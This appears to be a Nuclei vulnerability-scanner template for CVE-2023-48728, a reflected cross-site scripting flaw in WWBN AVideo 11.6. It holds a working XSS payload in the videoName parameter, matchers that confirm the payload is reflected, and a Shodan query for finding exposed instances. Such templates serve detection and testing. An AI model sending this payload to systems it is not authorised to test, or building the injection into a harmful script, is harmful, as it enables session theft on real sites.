id: CVE-2023-48728

info:
  name: WWBN AVideo 11.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A reflected XSS vulnerability exists in the functiongetOpenGraph videoName functionality of WWBN AVideo 11.6 and dev master commit 3c6bb3ff, allowing arbitrary Javascript execution.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive information or account takeover.
  remediation: |
    Sanitize and validate user input to prevent XSS attacks.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2023-1883
    - https://nvd.nist.gov/vuln/detail/CVE-2023-48728
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-48728
    cwe-id: CWE-79
    epss-score: 0.00125
    epss-percentile: 0.46326
    cpe: cpe:2.3:a:wwbn:avideo:3c6bb3ff:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wwbn
    product: avideo
    shodan-query: html:"AVideo"
  tags: cve,cve2023,avideo,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/objects/functiongetOpenGraph.php?videoName=123+--><script>alert(document.domain)</script>"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<script>alert(document.domain)</script>", "OpenGraph no video")'
          - 'status_code == 200 || status_code == 500'
          - 'contains(header, "text/html")'
        condition: and
# digest: 4b0a00483046022100deca9dffcf8f5ea29947d75c85d7a906328705c38792abe45c5d60b1d1da31d8022100cd8d16b80d1183a196c2a0ba6e599336c5900a255e484d9beacc71c39eaeb220:922c64590222798bb761d5b6d8e72950